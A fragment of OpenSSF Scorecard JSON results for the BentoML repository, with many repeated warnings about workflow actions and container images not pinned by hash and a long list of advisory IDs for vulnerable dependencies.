.github/workflows/codeql-analysis.yml:32: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:37: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cqa.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/cqa.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cqa.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/cqa.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:10: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:12: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/release.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/release.yml/main?enable=pin","Warn: containerImage not pinned by hash: .devcontainer/Dockerfile:3: pin your Docker image by updating python:3-bullseye to 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.devcontainer/lifecycle/post-start:9","Info:   0 out of  29 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of  12 third-party GitHubAction dependencies pinned","Info:   0 out of   9 containerImage dependencies pinned","Info:   0 out of   4 pipCommand dependencies pinned","Info:   0 out of   1 downloadThenRun dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"SAST","score":9,"reason":"SAST tool detected but not run on all commits","details":["Info: SAST configuration detected: CodeQL","Warn: 26 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code 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GHSA-rqc4-2hc7-8c8v","Warn: Project is vulnerable to: GHSA-mr82-8j83-vxmv","Warn: Project is vulnerable to: PYSEC-2020-107 / GHSA-jjw5-xxj6-pcv5","Warn: Project is vulnerable to: PYSEC-2024-110 / GHSA-jw8x-6495-233v","Warn: Project is vulnerable to: PYSEC-2020-108","Warn: Project is vulnerable to: GHSA-3749-ghw9-m3mg","Warn: Project is vulnerable to: PYSEC-2022-43015 / GHSA-47fc-vmwq-366v","Warn: Project is vulnerable to: PYSEC-2025-41 / GHSA-53q9-r3pm-6pq6","Warn: Project is vulnerable to: PYSEC-2024-252 / GHSA-5pcm-hx3q-hm94","Warn: Project is vulnerable to: GHSA-887c-mr87-cxwp","Warn: Project is vulnerable to: PYSEC-2024-251 / GHSA-pg7h-5qx3-wjr3","Warn: Project is vulnerable to: PYSEC-2024-250","Warn: Project is vulnerable to: PYSEC-2024-259","Warn: Project is vulnerable to: GHSA-3c5c-7235-994j","Warn: Project is vulnerable to: GHSA-3f63-hfp8-52jq","Warn: Project is vulnerable to: PYSEC-2021-41 / GHSA-3wvg-mj6g-m9cv","Warn: Project is vulnerable to: PYSEC-2020-77 / GHSA-3xv8-3j54-hgrp","Warn: Project is vulnerable to: PYSEC-2020-80 / GHSA-43fq-w8qq-v88h","Warn: Project is vulnerable to: GHSA-44wm-f244-xhp3","Warn: Project is vulnerable to: GHSA-4fx9-vc88-q2xc","Warn: Project is vulnerable to: PYSEC-2021-35 / GHSA-57h3-9rgr-c24m","Warn: Project is vulnerable to: PYSEC-2020-172 / GHSA-5gm3-px64-rw72","Warn: Project is vulnerable to: PYSEC-2021-331 / GHSA-7534-mm45-c74v","Warn: Project is vulnerable to: PYSEC-2021-92 / GHSA-7r7m-5h27-29hp","Warn: Project is vulnerable to: PYSEC-2020-78 / GHSA-8843-m7mw-mxqm","Warn: Project is vulnerable to: PYSEC-2023-227 / GHSA-8ghj-p4vj-mr35","Warn: Project is vulnerable to: PYSEC-2014-87 / GHSA-8m9x-pxwq-j236","Warn: Project is vulnerable to: PYSEC-2022-10 / GHSA-8vj2-vxx3-667w","Warn: Project is vulnerable to: PYSEC-2021-36 / GHSA-8xjq-8fcg-g5hw","Warn: Project is vulnerable to: PYSEC-2016-6 / GHSA-8xjv-v9xq-m5h9","Warn: Project is vulnerable to: PYSEC-2021-42 / GHSA-95q3-8gr9-gm8w","Warn: Project is vulnerable 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GitHubAction not pinned by hash: .github/workflows/ci.yml:41: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:52: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:86: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:90: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:103: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:120: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:124: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:129: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:131: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:133: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:144: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:169: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:173: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:178: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:180: update your workflow using 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https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:222: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:227: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:232: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:241: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:247: update your workflow using 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.github/workflows/codeql-analysis.yml:37: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cqa.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/cqa.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cqa.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/cqa.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:10: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:12: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/release.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/release.yml/main?enable=pin","Warn: containerImage not pinned by hash: .devcontainer/Dockerfile:3: pin your Docker image by updating python:3-bullseye to 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.devcontainer/lifecycle/post-start:9","Info:   0 out of  29 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of  12 third-party GitHubAction dependencies pinned","Info:   0 out of   9 containerImage dependencies pinned","Info:   0 out of   4 pipCommand dependencies pinned","Info:   0 out of   1 downloadThenRun dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"SAST","score":9,"reason":"SAST tool detected but not run on all commits","details":["Info: SAST configuration detected: CodeQL","Warn: 26 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code 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GHSA-rqc4-2hc7-8c8v","Warn: Project is vulnerable to: GHSA-mr82-8j83-vxmv","Warn: Project is vulnerable to: PYSEC-2020-107 / GHSA-jjw5-xxj6-pcv5","Warn: Project is vulnerable to: PYSEC-2024-110 / GHSA-jw8x-6495-233v","Warn: Project is vulnerable to: PYSEC-2020-108","Warn: Project is vulnerable to: GHSA-3749-ghw9-m3mg","Warn: Project is vulnerable to: PYSEC-2022-43015 / GHSA-47fc-vmwq-366v","Warn: Project is vulnerable to: PYSEC-2025-41 / GHSA-53q9-r3pm-6pq6","Warn: Project is vulnerable to: PYSEC-2024-252 / GHSA-5pcm-hx3q-hm94","Warn: Project is vulnerable to: GHSA-887c-mr87-cxwp","Warn: Project is vulnerable to: PYSEC-2024-251 / GHSA-pg7h-5qx3-wjr3","Warn: Project is vulnerable to: PYSEC-2024-250","Warn: Project is vulnerable to: PYSEC-2024-259","Warn: Project is vulnerable to: GHSA-3c5c-7235-994j","Warn: Project is vulnerable to: GHSA-3f63-hfp8-52jq","Warn: Project is vulnerable to: PYSEC-2021-41 / GHSA-3wvg-mj6g-m9cv","Warn: Project is vulnerable to: PYSEC-2020-77 / GHSA-3xv8-3j54-hgrp","Warn: Project is vulnerable to: PYSEC-2020-80 / GHSA-43fq-w8qq-v88h","Warn: Project is vulnerable to: GHSA-44wm-f244-xhp3","Warn: Project is vulnerable to: GHSA-4fx9-vc88-q2xc","Warn: Project is vulnerable to: PYSEC-2021-35 / GHSA-57h3-9rgr-c24m","Warn: Project is vulnerable to: PYSEC-2020-172 / GHSA-5gm3-px64-rw72","Warn: Project is vulnerable to: PYSEC-2021-331 / GHSA-7534-mm45-c74v","Warn: Project is vulnerable to: PYSEC-2021-92 / GHSA-7r7m-5h27-29hp","Warn: Project is vulnerable to: PYSEC-2020-78 / GHSA-8843-m7mw-mxqm","Warn: Project is vulnerable to: PYSEC-2023-227 / GHSA-8ghj-p4vj-mr35","Warn: Project is vulnerable to: PYSEC-2014-87 / GHSA-8m9x-pxwq-j236","Warn: Project is vulnerable to: PYSEC-2022-10 / GHSA-8vj2-vxx3-667w","Warn: Project is vulnerable to: PYSEC-2021-36 / GHSA-8xjq-8fcg-g5hw","Warn: Project is vulnerable to: PYSEC-2016-6 / GHSA-8xjv-v9xq-m5h9","Warn: Project is vulnerable to: PYSEC-2021-42 / GHSA-95q3-8gr9-gm8w","Warn: Project is vulnerable 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commit(s) and 10 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Code-Review","score":6,"reason":"Found 18/26 approved changesets -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices 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privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security 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GitHubAction not pinned by hash: .github/workflows/ci.yml:41: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:52: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:86: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:90: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:103: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:120: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:124: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:129: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:131: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:133: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:144: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:169: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:173: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:178: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:180: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:182: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:193: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:208: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:212: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:217: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:222: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:227: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:232: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:241: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:247: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:261: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cleanup.yml:11: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/cleanup.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:32: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:37: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cqa.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/cqa.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cqa.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/cqa.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:10: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:12: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/release.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/release.yml/main?enable=pin","Warn: containerImage not pinned by hash: .devcontainer/Dockerfile:3: pin your Docker image by updating python:3-bullseye to python:3-bullseye@sha256:f58f33e0563f2ba81c7afe6259cd912f0c33413da93c75cc3a70a941c17afa8c","Warn: containerImage not pinned by hash: tools/dev.Dockerfile:3","Warn: containerImage not pinned by hash: tools/dev.Dockerfile:15","Warn: containerImage not pinned by hash: tools/dev.Dockerfile:25","Warn: containerImage not pinned by hash: tools/dev.Dockerfile:39","Warn: containerImage not pinned by hash: tools/dev.Dockerfile:72","Warn: containerImage not pinned by hash: tools/dev.Dockerfile:107","Warn: containerImage not pinned by hash: tools/dev.Dockerfile:134","Warn: containerImage not pinned by hash: tools/dev.Dockerfile:166","Warn: pipCommand not pinned by hash: .devcontainer/Dockerfile:42-44","Warn: pipCommand not pinned by hash: tools/dev.Dockerfile:23","Warn: pipCommand not pinned by hash: tools/dev.Dockerfile:33","Warn: pipCommand not pinned by hash: .devcontainer/library-scripts/docker-debian.sh:226","Warn: downloadThenRun not pinned by hash: .devcontainer/lifecycle/post-start:9","Info:   0 out of  29 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of  12 third-party GitHubAction dependencies pinned","Info:   0 out of   9 containerImage dependencies pinned","Info:   0 out of   4 pipCommand dependencies pinned","Info:   0 out of   1 downloadThenRun dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"SAST","score":9,"reason":"SAST tool detected but not run on all commits","details":["Info: SAST configuration detected: CodeQL","Warn: 26 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":0,"reason":"129 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-9548-qrrj-x5pj","Warn: Project is vulnerable to: GHSA-vqfr-h8mv-ghfj","Warn: Project is vulnerable to: GHSA-cpwx-vrp4-4pq7","Warn: Project is vulnerable to: GHSA-gmj6-6f8f-6699","Warn: Project is vulnerable to: GHSA-q2x7-8rv6-6q7h","Warn: Project is vulnerable to: GHSA-8qvm-5x2c-j2w7","Warn: Project is vulnerable to: PYSEC-2025-23 / GHSA-w4rh-fgx7-q63m","Warn: Project is vulnerable to: GHSA-9hjg-9r4m-mvj7","Warn: Project is vulnerable to: PYSEC-2025-49 / GHSA-5rjg-fvgr-3xxf","Warn: Project is vulnerable to: GHSA-2c2j-9gv5-cj73","Warn: Project is vulnerable to: GHSA-7cx3-6m66-7c5m","Warn: Project is vulnerable to: GHSA-8w49-h785-mj3c","Warn: Project is vulnerable to: GHSA-pq67-6m6q-mj2v","Warn: Project is vulnerable to: PYSEC-2024-187 / GHSA-rqc4-2hc7-8c8v","Warn: Project is vulnerable to: GHSA-mr82-8j83-vxmv","Warn: Project is vulnerable to: PYSEC-2020-107 / GHSA-jjw5-xxj6-pcv5","Warn: Project is vulnerable to: PYSEC-2024-110 / GHSA-jw8x-6495-233v","Warn: Project is vulnerable to: PYSEC-2020-108","Warn: Project is vulnerable to: GHSA-3749-ghw9-m3mg","Warn: Project is vulnerable to: PYSEC-2022-43015 / GHSA-47fc-vmwq-366v","Warn: Project is vulnerable to: PYSEC-2025-41 / GHSA-53q9-r3pm-6pq6","Warn: Project is vulnerable to: PYSEC-2024-252 / GHSA-5pcm-hx3q-hm94","Warn: Project is vulnerable to: GHSA-887c-mr87-cxwp","Warn: Project is vulnerable to: PYSEC-2024-251 / GHSA-pg7h-5qx3-wjr3","Warn: Project is vulnerable to: PYSEC-2024-250","Warn: Project is vulnerable to: PYSEC-2024-259","Warn: Project is vulnerable to: GHSA-3c5c-7235-994j","Warn: Project is vulnerable to: GHSA-3f63-hfp8-52jq","Warn: Project is vulnerable to: PYSEC-2021-41 / GHSA-3wvg-mj6g-m9cv","Warn: Project is vulnerable to: PYSEC-2020-77 / GHSA-3xv8-3j54-hgrp","Warn: Project is vulnerable to: PYSEC-2020-80 / GHSA-43fq-w8qq-v88h","Warn: Project is vulnerable to: GHSA-44wm-f244-xhp3","Warn: Project is vulnerable to: GHSA-4fx9-vc88-q2xc","Warn: Project is vulnerable to: PYSEC-2021-35 / GHSA-57h3-9rgr-c24m","Warn: Project is vulnerable to: PYSEC-2020-172 / GHSA-5gm3-px64-rw72","Warn: Project is vulnerable to: PYSEC-2021-331 / GHSA-7534-mm45-c74v","Warn: Project is vulnerable to: PYSEC-2021-92 / GHSA-7r7m-5h27-29hp","Warn: Project is vulnerable to: PYSEC-2020-78 / GHSA-8843-m7mw-mxqm","Warn: Project is vulnerable to: PYSEC-2023-227 / GHSA-8ghj-p4vj-mr35","Warn: Project is vulnerable to: PYSEC-2014-87 / GHSA-8m9x-pxwq-j236","Warn: Project is vulnerable to: PYSEC-2022-10 / GHSA-8vj2-vxx3-667w","Warn: Project is vulnerable to: PYSEC-2021-36 / GHSA-8xjq-8fcg-g5hw","Warn: Project is vulnerable to: PYSEC-2016-6 / GHSA-8xjv-v9xq-m5h9","Warn: Project is vulnerable to: PYSEC-2021-42 / GHSA-95q3-8gr9-gm8w","Warn: Project is vulnerable to: PYSEC-2022-168 / GHSA-9j59-75qj-795w","Warn: Project is vulnerable to: PYSEC-2014-10 / GHSA-cfmr-38g9-f2h7","Warn: Project is vulnerable to: PYSEC-2020-76 / GHSA-cqhg-xjhh-p8hf","Warn: Project is vulnerable to: PYSEC-2021-40 / GHSA-f4w8-cv6p-x6r5","Warn: Project is vulnerable to: PYSEC-2021-69 / GHSA-f5g8-5qq7-938w","Warn: Project is vulnerable to: PYSEC-2021-139 / GHSA-g6rj-rv7j-xwp4","Warn: Project is vulnerable to: PYSEC-2015-16 / GHSA-h5rf-vgqx-wjv2","Warn: Project is vulnerable to: PYSEC-2016-5 / GHSA-hggx-3h72-49ww","Warn: Project is vulnerable to: PYSEC-2020-84 / GHSA-hj69-c76v-86wr","Warn: Project is vulnerable to: PYSEC-2016-7 / GHSA-hvr8-466p-75rh","Warn: Project is vulnerable to: PYSEC-2015-15 / GHSA-j6f7-g425-4gmx","Warn: Project is vulnerable to: GHSA-j7hp-h8jx-5ppr","Warn: Project is vulnerable to: PYSEC-2019-110 / GHSA-j7mj-748x-7p78","Warn: Project is vulnerable to: GHSA-jgpv-4h4c-xhw3","Warn: Project is vulnerable to: PYSEC-2022-42979 / GHSA-m2vv-5vj5-2hm7","Warn: Project is vulnerable to: PYSEC-2021-37 / GHSA-mvg9-xffr-p774","Warn: Project is vulnerable to: PYSEC-2020-83 / GHSA-p49h-hjvm-jg3h","Warn: Project is vulnerable to: PYSEC-2022-8 / GHSA-pw3c-h7wp-cvhx","Warn: Project is vulnerable to: PYSEC-2021-93 / GHSA-q5hq-fp76-qmrc","Warn: Project is vulnerable to: PYSEC-2020-82 / GHSA-r7rm-8j6h-r933","Warn: Project is vulnerable to: PYSEC-2014-23 / GHSA-r854-96gq-rfg3","Warn: Project is vulnerable to: PYSEC-2016-8 / GHSA-rwr3-c2q8-gm56","Warn: Project is vulnerable to: PYSEC-2020-81 / GHSA-vcqg-3p29-xw73","Warn: Project is vulnerable to: PYSEC-2020-79 / GHSA-vj42-xq3r-hr3r","Warn: Project is vulnerable to: PYSEC-2021-70 / GHSA-vqcj-wrf2-7v73","Warn: Project is vulnerable to: PYSEC-2016-9 / GHSA-w4vg-rf63-f3j3","Warn: Project is vulnerable to: PYSEC-2014-22 / GHSA-x895-2wrm-hvp7","Warn: Project is vulnerable to: PYSEC-2022-9 / GHSA-xrcv-f9gm-v42c","Warn: Project is vulnerable to: PYSEC-2021-137","Warn: Project is vulnerable to: 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GitHubAction not pinned by hash: .github/workflows/ci.yml:41: update your workflow using https://app.stepsecurity.io/secureworkflow/bentoml/BentoML/ci.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not 